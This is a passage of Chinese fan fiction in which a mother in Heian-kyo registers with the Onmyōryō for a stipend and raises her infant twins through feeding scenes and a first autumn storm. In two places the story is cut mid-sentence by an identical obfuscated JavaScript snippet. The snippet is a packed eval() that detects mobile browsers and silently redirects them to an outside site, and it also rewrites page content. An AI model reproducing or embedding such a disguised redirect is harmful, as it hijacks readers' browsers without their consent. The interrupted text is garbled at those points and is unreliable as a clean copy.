笑着笑着,又有点想哭。 她轻手轻脚走过去,蹲下来,看着这两个小东西。 一个会挣襁褓了,会从婴儿床里滚下来了,会像毛毛虫一样满屋子拱了。 一个会观察了,会思考了,会带着弟弟到处探险了。 才八天。 才八天啊。 她伸出手,轻轻摸了摸两个小脑袋。 没醒。睡得很沉。 她把他们一个一个抱起来,放回婴儿床里,重新裹好襁褓。 又把散落的柴火收拾好,把地上的痕迹用兽皮盖住。 然后她坐在床边,看着两个熟睡的小团子。 “你们两个,”她轻声说,“真是……让妈又爱又气。” 没人回答她。 只有两个均匀的、小小的呼吸声。 她看了一会儿,忽然想起上午那个念头。 联系安倍。 去阴阳寮挂个名。 赚点钱。 给这两个小东西买过冬的衣服。 她站起来,走到窗边,看着外面的山林。 秋风已经有点凉了。 得抓紧时间。 趁他们还睡着,先去探探路。 她回头看了一眼两个婴儿床。 睡得很香。 应该还能睡一阵。 她深吸一口气,转身,轻手轻脚爬下树屋。 这一次,她走得很快。 目标明确。 安倍有行上次说,阴阳寮在追查那批人。 那他应该还在附近。 找找他。 顺便—— 看看能不能给两个崽,挣点奶粉钱。 17. 第十六章:下山与归途 宿观音走在山路上,脚步比平时快了不少。 不是赶时间,是心里有点虚。 两个小崽子在树屋里睡觉,她这个当妈的跑出来“出差”,怎么想都有点不靠谱。 但没办法。 冬天不等人。 她一边走,一边在心里盘算:找到安倍,问问情况,看能不能挂个名,领点俸禄,最好还能提前预支一点——反正她又不是真的加入阴阳寮,只是编外人员,应该不用签卖身契吧? 至于那批人…… 安倍上次说他们在追查。 如果能从他那里得到点情报,知道那些人现在在哪儿、想干什么,她也早点做准备。 越想越觉得这趟必须去。 山路越往下走越开阔,树木渐渐稀疏,视野变得宽敞起来。 走了大概半个时辰,她远远看到了那条通往镇子的路。 但她没往镇子方向走。 安倍上次说过,阴阳寮的人在追查那批人,应该不会待在镇子里等人。大概率是在附近扎营,或者有固定的联络点。 她停下来,四处张望。 然后她闭上眼睛,调动咒力,感知周围的咒力痕迹。 这是她特训期间自己琢磨出来的小技巧——咒力结晶吃多了,她对咒力的敏感度越来越高,能隐约感知到周围一定范围内残留的咒力波动。 普通人没有咒力,咒灵的咒力浑浊腥臭,术师的咒力则相对干净、有规律。 她感知了一会儿,睁开眼。 东南方向,大概两三里外,有微弱的、干净的咒力残留。 像有人在那里停留过。 “就那儿了。” 她加快脚步,往东南方向走去。 穿过一片小树林,眼前豁然开朗。 一条小溪从山间流下,溪边有一小块平坦的草地。草地上搭着两顶简陋的帐篷,旁边拴着两匹马,正在低头吃草。 帐篷外面坐着一个人,背对着她,正在用木棍拨弄一堆篝火的余烬。 藏青色的狩衣,洗得发白。 安倍有行。 宿观音没有隐藏脚步声,就那么大大方方地走过去。 那人听到脚步声,猛地回头,手已经按在腰间的太刀上。 等他看清来人,愣住了。 “你——” 宿观音站在几步开外,朝他点了点头。 “安倍。” 安倍有行看了她好几秒,然后松开按刀的手,站起来,行了一礼。 “夫人。”他的声音里带着明显的惊讶,“您怎么……” “找你有点事。”宿观音开门见山,“能坐下说吗?” 安倍有行点点头,侧身让出篝火旁的位置。 宿观音坐下来,活动了一下走得有点酸的小腿。 安倍有行也坐下,看着她,等她说。 宿观音沉默了几秒,组织了一下语言。 “我听说,阴阳寮有编外咒术师这回事?” 安倍有行愣了一下。 “有是有……”他斟酌着说,“但多为临时征召,处理紧急事务。平时并无固定俸禄……” “俸禄不重要。”宿观音打断他,“我就想问,如果我挂个名,万一冬天山里头缺粮了,能不能从你们这儿领点救济?” 安倍有行又愣了一下。 他看着面前这个女人——高大,强壮,蜜蜡色的皮肤上布满黑色纹身,粉色麻花辫垂在肩侧,赤红色的眼睛正盯着他,眼神坦然得近乎理直气壮。 这是那个一挥手就能斩断特级咒灵的女人。 这是那个独自在山里生存、怀胎八月还能击退四名术师的女人。 这是那个刚生下双胎八天、就跑出来问他能不能领救济粮的女人。 他忽然不知道该说什么。 宿观音看他不说话,皱起眉。 “不行?” “不、不是不行。”安倍有行回过神来,“只是……夫人,您知道您的实力,在阴阳寮评级中至少是特级吗?” 宿观音眨眨眼。 “特级怎么了?” “特级咒术师,通常都有自己的势力或资源……”安倍有行斟酌着说,“即便要加入阴阳寮,也是以客卿身份,而非编外……” “那客卿能领俸禄吗?” “……能。” “那就客卿。”宿观音一拍大腿,“就这个了。” 安倍有行张了张嘴,想说什么,又咽回去了。 他沉默了一会儿,然后问:“夫人为何突然想加入阴阳寮?此前您似乎……并不想与外界接触。” 宿观音看着篝火的余烬,沉默了几秒。 “因为冬天要来了。”她说,“两个崽,要吃饭,要穿衣服。山里冷,树屋不扛冻。我得给他们攒点东西。” 她说得很平淡,像在说今天天气不错。 安倍有行却听得有点愣神。 他想起上次见她时,她站在树屋阳台上,高高在上,冷漠疏离,像一头护崽的野兽。 现在她坐在这里,就着篝火的余烬,说“两个崽要吃饭”。 语气里那种理所当然的、没有任何犹豫的、当妈的操心劲儿,让这个年轻的阴阳生忽然想起自己早已模糊的童年记忆。 他低下头,沉默了很久。 然后他抬起头,看着她。 “夫人,”他说,“此事我需要上报。但以夫人的实力,应无大碍。只是……” 他顿了顿。 “只是阴阳寮内部,并非所有人都如我这般……对夫人无害。有人觊觎您的力量,有人忌惮您的存在,还有人……可能与那批人有关联。” 宿观音看着他。 “你说这些,不怕我反悔?” 安倍有行摇摇头。 “夫人来问我,我便如实相告。至于夫人如何决定,在下无权干涉。” 宿观音看了他好几秒。 然后她笑了。 不是那种冷笑,是真的、带着点欣赏的笑。 “你这个人,”她说,“有点意思。” 安倍有行低下头,没接话。 宿观音站起来,拍了拍身上的灰。 “行,那就这么定了。你去上报,我回去等消息。需要我亲自去的时候,来山里找我。” 她顿了顿,又补充了一句。 “别带太多人来。我家崽怕生。” 安倍有行点点头,站起来行礼。 “在下明白。” 宿观音转身要走,又停住。 她回头看他。 “你一个人在这儿守着?” 安倍有行点点头。 “其他人呢?” “去追查那批人的踪迹了。”安倍有行犹豫了一下,还是说出来,“此前那批人派出的四人被你击退后,似乎并未死心。近日有人在附近镇上发现他们的活动痕迹。” 宿观音眯起眼。 “冲我来的?” “不确定。”安倍有行说,“但夫人……小心为上。” 宿观音沉默了几秒。 然后她点点头。 “知道了。” 她转身,大步往山里走去。 走了几步,又停下来,回头喊了一声。 “喂!” 安倍有行抬起头。 “下次来,带点米。”她喊,“糙米就行,崽要吃粥。” 说完,她头也不回地走了。 安倍有行站在原地,看着她的背影消失在树林里。 很久,他才轻轻笑了一下。 然后他坐下来,开始写信。 与此同时,树屋里。 两个小团子还在睡。 柴火堆被收拾好了,痕迹被兽皮盖住了,婴儿床里的襁褓重新裹得整整齐齐。 一切都像什么都没发生过。 只有床榻下面那片兽皮上,还残留着一点小小的、被口水洇湿的印记。 阳光慢慢移动。 宿傩先醒了。 他睁开眼,眨巴眨巴,发现自己又回到婴儿床里了。 襁褓裹得紧紧的,动不了。 他挣了挣,挣不动。 他又挣了挣,还是不动。 老妈这次裹得更紧了。 他瘪瘪嘴,想哭。 但刚瘪到一半,他忽然想起什么,偏过头看向旁边的婴儿床。 宿昶还在睡。 黑色的小脑袋歪在一边,呼吸均匀。 宿傩看着他,瘪着的嘴慢慢收了回去。 他就那么看着哥哥,眼睛一眨不眨。 过了一会儿,宿昶也醒了。 他睁开眼,先是看了看天花板,然后偏过头,看向弟弟。 两个小团子四目相对。 宿傩咧开嘴,笑了。 那个笑容,像是在说:你醒啦! 宿昶眨眨眼睛,没笑。 但他的眼睛弯了弯。 然后两个小团子同时偏过头,看向窗户的方向。 阳光正好。 外面隐隐传来鸟叫声。 宿傩“啊”了一声,像是在问:老妈呢? 宿昶没“啊”,但他的眼睛微微往门口的方向转了转。 像是在说:出门了,应该快回来了。 宿傩眨眨眼睛,好像懂了。 他又“啊”了一声,这次像是在说:那我们等她? 宿昶轻轻“啊”了一声,很轻,像是在说:嗯。 然后两个小团子就一起盯着门口的方向。 等老妈回来。 阳光慢慢移动。 两个小脑袋,一粉一黑,并排躺在婴儿床里,眼睛都盯着同一个方向。 谁也不说话——当然也不会说话。 就那么等着。 等了不知道多久。 门口终于传来动静。 藤梯被放下的声音,然后脚步声。 两个小团子同时眼睛一亮。 宿傩开始“啊啊”叫,又急又亮,像在喊:妈!妈!我们在这儿! 宿昶没叫,但他的眼睛亮晶晶的,盯着门口的方向。 宿观音掀开兽皮帘子,走进来。 第一眼,就看到两个婴儿床里,两个小团子都醒着,都盯着她。 粉色那个,叫得震天响,小身子在襁褓里扭来扭去。 黑色那个,安静地看着她,但眼睛里分明带着期待。 她愣了一下,然后笑了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265101|198079||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒了?”她走过去,先摸了摸两个小脑袋,“等着,妈给你们弄吃的。” 两个小团子继续盯着她。 她走到储物区,翻出早上磨好的咒力结晶粉末,又拿出一个小陶罐,里面是她早上煮好晾凉的米粥。 生火热粥。 两个小团子一直盯着她。 不管她走到哪儿,两双眼睛就跟到哪儿。 宿傩的眼睛亮晶晶的,嘴巴还不停地“啊啊”叫,像在催。 宿昶的眼睛安静一些,但也一直看着,一眨不眨。 宿观音被盯得有点不自在。 “看什么看,”她一边热粥一边说,“妈又不会跑。” 两个小团子继续盯着。 粥热好了,晾到温热,撒上咒力结晶粉末。 她先抱起宿傩。 粉色小团子早就等不及了,小嘴一张,“啊呜”一口就把勺子含住了。 咽下去,张嘴。 再来一勺,咽下去,张嘴。 一勺接一勺,吃得又快又急,米粒糊得满脸都是。 宿观音一边喂一边笑,“慢点慢点,没人跟你抢。” 喂完宿傩,把他放回去,抱起宿昶。 黑色小团子安静地躺在她腿上,看着她。 她舀了一勺,吹凉,送到他嘴边。 他张开小嘴,含住勺子,慢慢嚼——虽然没牙,但小嘴一动一动,像是在认真品尝。 咽下去之后,他看着她,眼睛亮亮的。 又舀一勺。 他又慢慢嚼,慢慢咽。 吃完,他伸出小舌头,把嘴唇上的米粒舔掉。 然后继续看着她。 宿观音看着他那双黑漆漆的眼睛,心都快化了。 “你们两个,”她轻声说,“真是……” 她把宿昶放回去,两个小团子并排躺着。 吃饱了,都眯着眼睛,一副心满意足的样子。 宿观音坐在床边,看着他们。 阳光照进来,落在两个小小的人儿身上。 她忽然觉得,什么冬天,什么咒灵,什么那批人,都不重要了。 重要的是这两个小东西吃饱了,睡好了,等着她回来。 她伸出手,轻轻摸了摸两个小脑袋。 粉色那个蹭了蹭她的手,嘴里“啊”了一声,像是在说:妈,摸摸。 黑色那个没动,只是眼睛弯了弯。 她笑了。 “行了,”她站起来,“妈去把柴火再收拾收拾,晚上给你们煮肉粥。” 两个小团子继续眯着眼睛,享受午后的阳光。 她走到柴火堆旁边,蹲下来,把早上收拾好的柴火重新码整齐。 码着码着,她忽然想起什么。 安倍说,那批人最近又在附近活动。 冲她来的? 还是只是巧合? 她皱起眉,手上动作慢下来。 如果真是冲她来的,那树屋就不安全了。 得想个办法。 要么加固防御,要么—— 换个地方? 但换地方谈何容易。两个八天大的崽,她一个人,怎么搬? 她摇摇头,暂时把这个念头压下去。 先加强警戒吧。 在树屋周围多设几个警报装置,万一有人靠近,她能第一时间知道。 还有,下次出门,得把两个崽带着。 虽然危险,但放他们单独在家,更危险。 她一边想,一边把柴火码好。 然后站起来,拍拍手,走回床边。 两个小团子已经睡着了。 粉色那个,小嘴微张,口水又流出来了。 黑色那个,安静地蜷着,小手蜷在脸颊旁边。 她看着他们,心里的烦躁慢慢散去。 “不管了,”她轻声说,“兵来将挡,水来土掩。” “反正妈有拳头。” 窗外,夕阳开始西斜。 树屋里一片安宁。 两个小团子在母亲身旁,睡得香甜。 而母亲坐在床边,守着他们,想着明天。 想着冬天。 想着那批人。 想着怎么让这两个小东西,在这个操蛋的平安京,好好活下去。 她忽然想起安倍那句话。 “夫人,小心为上。” 她笑了笑。 小心? 她当然会小心。 但她更相信另一句话—— 来一个,切一个。 来两个,切一双。 管他是谁。 她低下头,看着两个熟睡的小脸。 “崽,”她轻声说,“妈出去一趟,给你们弄了点‘外快’。” “以后咱们有组织的人了。” “虽然不知道靠不靠谱,但好歹算条后路。” 两个小团子当然听不到。 但粉色那个,在睡梦中轻轻动了动小嘴,像是在咂吧什么。 黑色那个,眉头舒展着,睡得很安稳。 她看着他们,忽然觉得心里满满的。 不是咒力那种满。 是另一种。 更暖和,更柔软 18. 第十七章:手工课代表与脆骨奶嘴 日子一天一天过,树屋里的生活慢慢稳定下来。 天气开始有了一点点变化。 早上推开兽皮帘子的时候,空气里多了一丝凉意。不远处的山林里,有些树的叶子开始泛黄,偶尔有几片飘落下来,打着旋儿落在树屋阳台的护栏上。 不过总体来说,温度还是舒服的。白天阳光照进树屋,暖洋洋的,两个小崽子躺在兽皮上,晒着太阳,眯着眼睛,像两只慵懒的小兽。 宿观音最近的生活节奏很固定。 早上起来,先给两个崽喂粥。然后自己随便吃点东西,把树屋收拾一下。如果天气好,就把两个崽抱到阳台上的特制“围栏区”——她用粗木条加高护栏,又铺了厚厚几层兽皮,弄了个小小的露天活动区——让他们晒晒太阳,呼吸呼吸新鲜空气。 她自己则坐在旁边,一边看着他们,一边处理一些杂事。比如磨点咒力结晶粉末,或者整理一下储存的食物,或者——偶尔出门一趟。‘ “偶尔出门”是指去安倍那边“工作”。 所谓的“工作”,其实就是挂个名。 安倍上报之后,阴阳寮那边居然真的批了——宿观音以“客卿”身份挂名在阴阳寮名下,没有固定职责,但有紧急情况需要协助时会有人来通知她。 作为交换,她可以领一份“客卿俸禄”。 虽然不多,但够买点糙米、粗盐、布料之类的东西。对现在的她来说,已经是大大的惊喜了。 第一次领俸禄的时候,她看着那几小袋糙米和一包盐,沉默了很久。 然后她拍了拍安倍的肩膀,差点把人拍趴下。 “靠谱。”她说,“以后有事叫我。” 安倍揉着肩膀,哭笑不得。 大部分时间,她还是待在家里带娃。 两个小崽子出生第十二天了。 这十二天,过得比她穿越以来任何一个阶段都快。 白天喂粥,换尿布——准确说是换垫在襁褓里的软布,洗了晒,晒了换——哄睡,陪玩。晚上喂粥,换尿布,哄睡,陪睡。中间穿插着无数次的“啊啊”叫唤、小手动弹、以及粉色团子不懈努力的越狱尝试。 宿观音觉得自己这十二天,比特训二十三天还累。 但累归累,看着两个小东西一天天长开了,那种满足感也是真的。 皮肤不皱了,眼睛睁得更大了,小脸蛋开始有点肉了,抱起来沉甸甸的。 尤其是吃东西的时候。 那叫一个热闹。 今天中午这顿,就格外热闹。 宿观音把煮好的米粥晾温,撒上咒力结晶粉末,搅拌均匀,然后抱着两个小碗坐到床边。 先抱宿傩。 粉色小团子早就等不及了,小嘴张着,“啊啊”叫个不停,眼睛死死盯着那个碗。 她舀了一勺,吹了吹,送到他嘴边。 “啊呜!” 一口吞掉。 咽下去,张嘴,继续“啊”。 她又舀一勺。 这次刚送到嘴边,勺子还没进嘴呢,一只小手忽然从襁褓里伸出来,“啪”地一下拍在勺子上。 米粥溅出来,溅了她一手,也溅在宿傩自己脸上。 宿观音愣住了。 她低头看着那只伸出来的小手,又看看宿傩那张糊着米粥的脸。 宿傩也愣住了。 他看看自己的手,又看看老妈,又看看那只手。 然后他咧开嘴,笑了。 “啊!”他叫了一声,理直气壮,像是在说:妈!我手能出来了! 宿观音深吸一口气。 “你——”她刚开口,旁边忽然也有动静。 她转头一看,宿昶那边,也有一只小手从襁褓里伸出来了。 那只小手正努力地、慢慢地、往她放在床边的那碗粥的方向够。 够了两下,没够着。 那只小手停在半空中,小手指微微蜷缩,像是在思考下一步怎么办。 宿观音看看左边这只糊着米粥还在傻笑的手,又看看右边这只悬在半空中努力够碗的手。 她沉默了。 然后她低头看看自己手里被拍洒的半勺粥。 “你们两个,”她咬着牙说,“造反是吧?” 宿傩继续傻笑。 宿昶慢慢把手收回去,安安静静躺好,眼睛看着她,像是在说:我没抢,我只是看看。 宿观音深吸一口气,又深吸一口气。 行。 当妈的,不能被两个十二天的小崽子气死。 她把宿傩放回床上,先用软布把他脸上的粥擦干净,然后把那只还在乱挥的小手塞回襁褓里,重新裹紧。 宿傩挣扎了两下,挣不动,瘪瘪嘴想哭。 “不许哭。”宿观音看着他,“再哭今天没得吃。” 宿傩瘪着的嘴停在半空,看着她。 宿观音也看着他。 对视三秒。 宿傩把瘪着的嘴收回去了。 但那只被塞回襁褓的小手,还在里面动来动去,像是不甘心。 宿观音没理他,转向宿昶。 黑色小团子安静地躺着,看着她。 她检查了一下他的襁褓——裹得挺紧的,但他那只手怎么伸出来的? 她翻来覆去看了好几遍,终于发现,这崽子不是挣出来的,是从上面那个开口慢慢“滑”出来的。 襁褓裹得紧,但最上面那个口,他一点一点挪,慢慢就把手挪出来了。 “……你倒是会想办法。”宿观音无语。 她把他的手塞回去,重新裹紧,这次连上面那个口都用带子系了一下。 宿昶没挣扎,就那么安静地看着她操作。 眼睛黑漆漆的,像是在说:你系吧,我下次换个办法。 宿观音看着那双眼睛,忽然有点发毛。 这崽子,以后怕是不好糊弄。 重新裹好两个小团子,她继续喂饭。 这次她学聪明了,把两个碗放得远远的,喂完一个再喂另一个。 宿傩这回老实了,一勺一勺吃,不敢伸手了,但眼睛一直盯着那个碗,像在盘算什么。 宿昶也老实,慢慢嚼,慢慢咽,吃完还舔舔嘴唇。 喂完饭,两个小团子并排躺着,眯着眼睛消食。 宿观音坐在床边,看着他们,忽然想起一件事。 刚才宿傩伸手拍勺子的时候,是往嘴里塞。 不是拍着玩,是冲着勺子去的。 他想抢勺子。 而且不只是抢勺子——这几天她发现,这两个小崽子,不管抓到什么东西,都往嘴里塞。 她的手指,塞。 襁褓的边角,塞。 婴儿床的护栏,够不着,但眼睛一直盯着,嘴还咂吧咂吧,像是在想象那个味道。 她曾经听说过,好像三四个月大的婴儿,就开始用嘴巴探索世界了。 因为手还不灵活,抓东西也抓不准,就用嘴去感受——软的硬的,凉的热的,能吃的不能吃的,都先啃一口试试。 那是正常的发育过程。 但她这两个崽,才十二天。 十二天。 她又拿起一个,递给宿昶。 黑色小团子没有像弟弟 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“崽,”她轻声说,“以后每天给你们做一根。” “啃完了,妈再做。” 两个小团子没空理她,继续专心啃棒棒。 宿傩啃着啃着,忽然停下来,偏过头看向弟弟。 他看了看宿昶手里的那根棒棒,又看看自己手里的, 然后—— 他把自己的棒棒往弟弟那边伸了伸。 像是在说:你要不要尝尝我的? 宿昶看了看哥哥伸过来的棒棒,又看看自己手里的。 然后他也把自己的棒棒,往宿傩那边伸了伸。 像是在说:你也尝尝我的。 两个小棒棒在半空中碰在一起,发出轻轻的“咔”一声。 宿傩咧开嘴,笑了。 宿昶的眼睛弯了弯。 然后他们同时收回手,继续啃自己的。 宿观音在一旁看着,眼眶忽然有点热。 只有两个小小的“咔嚓咔嚓”声,此起彼伏。 偶尔夹杂着宿傩满足的“啊啊”声,和宿昶轻轻的咂嘴声。 她靠在床边,闭上眼睛。 听着这些声音。 忽然觉得,这个秋天,好像也没那么难熬了。 窗外,又一片树叶飘落。 打着旋儿,落在阳台上。 落在阳光里。 落在两个小团子啃棒棒的“咔嚓”声里。 秋天的第一片落叶,见证了这一天—— 两个十二天的小崽子,拥有了人生第一个“奶嘴”。(不算奶嘴,算是安抚小零食。) 虽然是用野猪脆骨和熊油做的。 虽然啃起来咔嚓咔嚓响,口水流一床。 但他们喜欢。 这就够了。 宿观音睁开眼,看着两个专心啃棒棒的小背影。 粉色那个,小身子都在使劲,像在打仗。 黑色那个,安静地啃着,偶尔看她一眼。 她笑了。 “崽,”她轻声说,“慢慢啃。” “妈在这儿。” 两个小团子没空理她。 他们忙着呢。 忙着用嘴巴,探索这个大大的世界。 一口一口,咔嚓咔嚓。 这就是平安京的秋天。 有点冷,但很暖和。 19. 第十八章:秋天的第一场雨 又过了几天。 天气的变化比想象中快。 前两天还是秋高气爽、阳光明媚,今天一早起来,天就阴了。 厚厚的云层压在山林上空,风也比往常大了些,吹得树屋外面的榉树叶子哗啦啦响。宿观音站在阳台上看了看天,又感受了一下空气里那股潮湿的气息。 要下雨了。 而且不是那种绵绵细雨,是那种说下就下、下起来就没完的秋雨。 她转身走回屋里,开始做准备。 先把阳台上的“露天活动区”收拾了——兽皮卷起来搬进屋,围栏检查一遍看有没有松动。万一风大把围栏吹坏了,她可不想某天发现两个崽子掉下去。 然后检查屋顶。 当初建树屋的时候,她用的树皮和茅草铺了厚厚几层,应该能扛住雨。但为了保险起见,她还是爬上屋顶,把几处看起来有点松动的地方重新压了压,又加了几块石头固定。 下来的时候,两个小团子正在屋里看着她。 宿傩躺在婴儿床里,眼睛瞪得圆圆的,盯着刚从屋顶跳下来的老妈,小嘴张着,像是看到了什么了不起的东西。 宿昶也看着她,但眼神更平静一些,像是在观察她从屋顶跳下来这个动作是怎么完成的。 宿观音拍拍手上的灰,走过去。 “看什么看,”她戳戳宿傩的小脸蛋,“妈上房揭瓦呢,以后你们长大了也得学会。” 宿傩被戳得眯起眼睛,但嘴角咧着,露出没牙的傻笑。 宿昶眨眨眼睛,像是在思考“上房揭瓦”是什么意思。 宿观音没管他们,继续忙。 柴火——多搬点进来,堆在角落里,用兽皮盖好。万一下几天雨,柴火湿了就麻烦了。 食物——检查一遍,肉干和熏肉够吃一阵子,野菜干和菌类也够。最重要的是,两个崽的“奶嘴棒”存货——还有十几个,够啃几天的。 水缸——打满水,又用几个陶罐也装满,放在灶台旁边。 窗户——兽皮帘子放下来,用木条压好边角,免得被风吹开。 忙完这些,外面的风更大了。 树屋开始轻轻摇晃——不是那种危险的晃,是架在树上的房子遇到大风时正常的摇摆。宿观音感受了一下幅度,心里有数。 这树屋她建的时候,特意选了两棵粗壮的榉树做地基,互相支撑,稳得很。只要不是能把树连根拔起的台风,就没事。 两个小团子第一次感受到树屋摇晃,反应截然不同。 宿傩眼睛瞪得更圆了,小身子绷紧,像是在感受这个新奇的体验。 宿昶则微微皱起眉头,眼睛看着天花板,像是在思考为什么房子会动。 宿观音走过去,在床边坐下。 “害怕吗?”她问。 宿傩“啊”了一声,声音响亮,像是在说:不怕!再来! 宿昳没出声,但他的眉头舒展了一点,像是确认了没有危险。 宿观音笑了。 “行,两个小胆儿还挺大。” 话音刚落,外面传来“轰隆”一声闷响。 打雷了。 两个小团子同时一抖。 宿傩嘴一瘪,想哭。 宿昶也皱起眉,身体微微绷紧。 宿观音赶紧伸手,一边一个,轻轻按住他们的小身子。 “不怕不怕,”她放轻声音,“打雷而已,天上在敲鼓呢。” 宿傩瘪着的嘴停住,看着她,像是在问:敲鼓? 宿昶也看着她,眼睛里的紧张慢慢退去一点。 又是“轰隆”一声,比刚才更近。 宿傩又一抖,但这次没瘪嘴,只是往她手的方向偏了偏脑袋。 宿昶也没那么紧张了,但眼睛还是看着天花板,像是在找那个声音是从哪儿来的。 然后,雨来了。 不是淅淅沥沥的小雨,是哗啦啦的大雨,像是天破了个口子,水直接往下倒。 雨点砸在屋顶上,砸在窗户上,砸在树屋周围的树叶上,声音大得吓人。 两个小团子又紧张起来。 宿傩开始“啊啊”叫,声音又急又亮,像是在问:这什么!这什么! 宿昶也微微皱眉,小手在襁褓里动了动。 宿观音一手按一个,嘴里开始瞎编。 “下雨了,下雨了,”她放慢语速,用一种哄小孩的调子,“天上在浇水呢,浇大树,浇小草,浇咱们家的小木屋……” “哗啦啦,哗啦啦,雨点跳舞呢……” 她一边说,一边用手指轻轻点着两个小团子的小身子,一下一下,跟着雨点的节奏。 宿傩的“啊啊”声慢慢小了,眼睛看着她,像是在听。 宿昶的眉头也完全舒展了,那双黑漆漆的眼睛盯着她,像是在观察她是怎么编出这些词的。 雨越下越大。 树屋摇晃的幅度也稍微大了一点,但还在安全范围内。 宿观音继续瞎编她的“下雨歌”。 “小雨点,跳跳跳,跳到屋顶蹦蹦蹦……” “大树摇,摇摇摇,摇得木屋晃晃晃……” “小崽崽,看看看,看得眼睛亮晶晶……” 宿傩听着听着,忽然咧开嘴笑了。 不是那种傻笑,是那种真的被逗乐了的、带着好奇的笑。 宿昶的眼睛也弯了弯,像是觉得老妈的词编得太离谱。 宿观音看着他们的反应,自己也笑了。 “笑什么笑,”她戳戳宿傩的小脸蛋,“妈这是即兴创作,以后你们长大了得给妈鼓掌。” 宿傩继续傻笑。 宿昳继续弯着眼睛。 外面的雨声还是很大,但树屋里已经没那么紧张了。 两个小团子适应了这种声音,开始把注意力转回自己感兴趣的事情上。 宿傩开始研究自己的手——虽然又被裹在襁褓里,但他在里面动来动去,像是在感受手指的存在。 宿昶则偏过头,看向窗户的方向。 兽皮帘子遮着,看不见外面,但他就是盯着那个方向,像是在想象雨是什么样子。 宿观音看着他们,忽然觉得,这场雨来得挺好。 让两个小崽子见识见识,这个世界除了阳光和温暖的树屋,还有狂风暴雨,还有电闪雷鸣。 早点见识,早点习惯。 以后遇到更大的风浪,就不会怕了。 雨下了整整一个时辰,才慢慢变小。 从哗啦啦变成淅沥沥,从砸屋顶变成滴答滴答。 两个小团子都困了。 宿傩的小眼睛半眯着,嘴还咂吧咂吧,像是在回味什么。 宿昶也眯着眼,但还强撑着,偶尔看她一眼,像是在确认她还在。 宿观音轻轻拍着他们,哼着那首永远不在调上的摇篮曲。 “睡吧,睡吧,我亲爱的宝贝……” “外面的雨,快停了……” “睡吧,睡吧,妈在这儿……” 哼着哼着,两个小团子都睡着了。 呼吸变得均匀,小小的胸口一起一伏。 宿观音看着他们,没有停下手上的轻拍。 窗外的雨声越来越小,最后只剩下滴滴答答的余音。 屋顶偶尔还有一两滴积水落下的声音。 树屋不再摇晃,安静地架在榉树上。 她靠在床边,闭上眼睛。 听着雨声,听着两个崽的呼吸声。 忽然觉得,这种日子,也挺好。 不是打打杀杀的那种好。 是平静的、安稳的、能听见自己心跳的那种好。 窗外,雨终于停了。 云层慢慢散开,露出一小片蓝天。 阳光从云的缝隙里漏下来,落在湿漉漉的树叶上,亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265103|198079||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晶晶的。 树屋里,两个小团子睡得正香。 宿观音也睡着了。 三个人,挤在小小的树屋里。 外面是雨后的山林。 里面是均匀的呼吸。 这就是平安京的秋天。 第一场雨,就这样过去了。 宿傩先醒的。 他睁开眼的时候,外面的天已经晴了。阳光透过兽皮帘子的缝隙,在地上画出一道一道的光线。 他眨眨眼睛,适应了一下光线,然后开始观察周围。 老妈在睡觉,靠着床边的墙,头微微歪着,呼吸很均匀。 哥哥也在睡觉,就在旁边,小小的眉头舒展着,睡得很安稳。 他又眨眨眼睛。 然后他开始动。 先动手指——在襁褓里动了动,确定能动。 再动胳膊——慢慢往外挣。 挣了一会儿,那只小手又从襁褓里伸出来了。 他看了看那只手,满意地咧开嘴。 然后他偏过头,看向旁边的婴儿床。 哥哥睡的那个床,离他有一臂远。 够不着。 他皱起小眉头,开始想办法。 先把脑袋往那边偏,偏到最大角度——还是够不着。 再把小手伸出去,在空中够了两下——还是够不着。 他有点急了,小嘴瘪起来,想哭。 但刚瘪到一半,他忽然停住。 因为哥哥醒了。 宿昶睁开眼,第一眼就看到弟弟那张皱成一团的小脸,还有那只伸在半空中的小手。 他眨眨眼睛。 然后他也开始动。 和宿傩那种乱挣乱扭不同,他的动作很慢,很稳。 先动手指,确定襁褓的松紧。 再慢慢挪动胳膊,一点一点,从那个被他研究过的开口处往外“滑”。 很快,他的小手也伸出来了。 两只小手,隔着一臂的距离,在半空中对着。 宿傩眼睛一亮。 他“啊”了一声,像是在说:你出来了! 宿昶没出声,但他的小手往弟弟那边伸了伸,像是在说:来。 宿傩也开始伸。 两只小手,一点一点靠近。 近了。 更近了。 就差一点点—— 然后,两只小手指尖,碰在了一起。 轻轻的,软软的,温热的。 宿傩咧开嘴,笑了。 那个笑容,灿烂得像是发现了全世界最了不起的东西。 宿昶的眼睛也弯了弯,但没笑出声。 就那么碰着,两只小手,隔着一臂的距离,指尖对着指尖。 谁也没动。 就那么碰着。 过了很久。 宿傩忽然“啊”了一声,像是在说:我饿了。 宿昶眨眨眼睛,像是在说:我也饿了。 两只小手同时收回去,开始“啊啊”叫唤。 宿傩叫得又急又亮,像是催命。 宿昶叫得轻一点,但节奏很稳,像是在提醒。 宿观音被吵醒了。 她睁开眼,就看到两个小团子都睁着眼睛,都盯着她,都在叫。 一个叫得像打仗,一个叫得像念经。 她揉揉眼睛,坐起来。 “行了行了,”她打着哈欠,“知道你们饿了。” 她站起来,走到灶台那边,开始热粥。 两个小团子继续盯着她,眼睛亮晶晶的。 阳光从窗户照进来,落在两个小小的人儿身上。 落在两只刚刚碰在一起的小手上。 落在树屋的每一个角落。 雨后的空气很清新,带着泥土和树叶的香气。 新的一天,又开始了。 